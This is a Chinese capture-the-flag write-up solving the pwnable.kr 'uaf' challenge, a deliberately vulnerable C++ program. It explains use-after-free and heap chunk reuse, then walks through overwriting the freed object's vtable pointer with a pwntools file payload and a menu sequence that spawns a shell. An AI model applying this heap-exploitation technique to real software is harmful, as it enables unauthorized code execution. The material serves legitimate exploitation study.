zoukankan      html  css  js  c++  java
  • 【pwnable.kr】 uaf

    目测是比较接近pwnable的一道题。考察了uaf(use after free的内容),我觉得说白了就是指针没有初始化的问题。

    ssh uaf@pwnable.kr -p2222 (pw:guest)

    先看一下代码

    #include <fcntl.h>
    #include <iostream> 
    #include <cstring>
    #include <cstdlib>
    #include <unistd.h>
    using namespace std;
    
    class Human{
    private:
        virtual void give_shell(){
            system("/bin/sh");
        }
    protected:
        int age;
        string name;
    public:
        virtual void introduce(){
            cout << "My name is " << name << endl;
            cout << "I am " << age << " years old" << endl;
        }
    };
    
    class Man: public Human{
    public:
        Man(string name, int age){
            this->name = name;
            this->age = age;
            }
            virtual void introduce(){
            Human::introduce();
                    cout << "I am a nice guy!" << endl;
            }
    };
    
    class Woman: public Human{
    public:
            Woman(string name, int age){
                    this->name = name;
                    this->age = age;
            }
            virtual void introduce(){
                    Human::introduce();
                    cout << "I am a cute girl!" << endl;
            }
    };
    
    int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);
    
        size_t len;
        char* data;
        unsigned int op;
        while(1){
            cout << "1. use
    2. after
    3. free
    ";
            cin >> op;
    
            switch(op){
                case 1:
                    m->introduce();
                    w->introduce();
                    break;
                case 2:
                    len = atoi(argv[1]);
                    data = new char[len];
                    read(open(argv[2], O_RDONLY), data, len);
                    cout << "your data is allocated" << endl;
                    break;
                case 3:
                    delete m;
                    delete w;
                    break;
                default:
                    break;
            }
        }
    
        return 0;    
    }

    很明显的是有虚函数的继承,内存的申请,内存的释放,利用思路就是改函数的虚表地址达到执行命令的作用。

    执行的命令也不用写shellcode,源代码中的getshell函数就可以用。

    首先,UAF是个啥,名字叫Use-After-Use,就是释放后重用,是堆上的一种漏洞,就是在把申请的内存释放后,指向之前内存的指针没有重置为NULL,导致该指针还能访问原来的内存。

    这道题也是一样。当释放了w、m后,当再次调用w、m指针就会出问题。

    当然直接调用时不会重新执行w->introduct函数的,这是因为堆块会有分配和未分配两种状态,在状态转换时会修改堆块内容。

    当然,linux在堆分配中有一种快速分配机制,导致了该程序存在的漏洞。

    详细可以参考《C和C++安全编码》一书。

    在这道题中,如果想利用堆快速分配的机制,需要请求分配的堆块大小是一样的,即argv[1]=sizeof(Women)

    这个大小可以再汇编代码中找到

    0x18 = 24 所以argv[1]=24

    通过跟踪分配可以跟踪到虚表的内容,具体跟踪如下图: 

    可以发现,虚表地址是位于结构体内存的最前面8个字节。而函数的调用就是这个虚表指针+偏移

    比如Human->give_shell 就是 vTable_ptr + 0

    因此,仅需修改一个指针即可,再看修改位置,read函数是从argv[2]所指的文件中获取,所以要把这个地址写到文件中,并且不需要填充。

    写的内容需要调用give_shell函数,由于函数后来要调用introduce函数,地址是 vTable_ptr + 8,因此将虚表指针改写为0x401588即可。

    先写一个/tmp/p4nda文件,内容是0x401588:

    from pwn import *
    
    addr = 0x401588
    f = open('/tmp/p4nda',"wb")
    f.write(p64(addr))
    f.close

    再顺序执行3->2->2->1即可

     

    note:执行两次2的原因是分配的顺序是后释放先分配,而函数执行的顺序恰好是反过来的,因此需要执行两次,让m指针也被分配就可以了。

  • 相关阅读:
    C#深入浅出 修饰符(二)
    HDU 5785 Interesting
    HDU 5783 Divide the Sequence
    HDU 5781 ATM Mechine
    UVA 714 Copying Books
    uva 1471 Defense Lines
    UVA 11134 Fabled Rooks
    UVA 11572 Unique Snowflakes
    UVA 11093 Just Finish it up
    UVA 10954 Add All
  • 原文地址:https://www.cnblogs.com/p4nda/p/7149870.html
Copyright © 2011-2022 走看看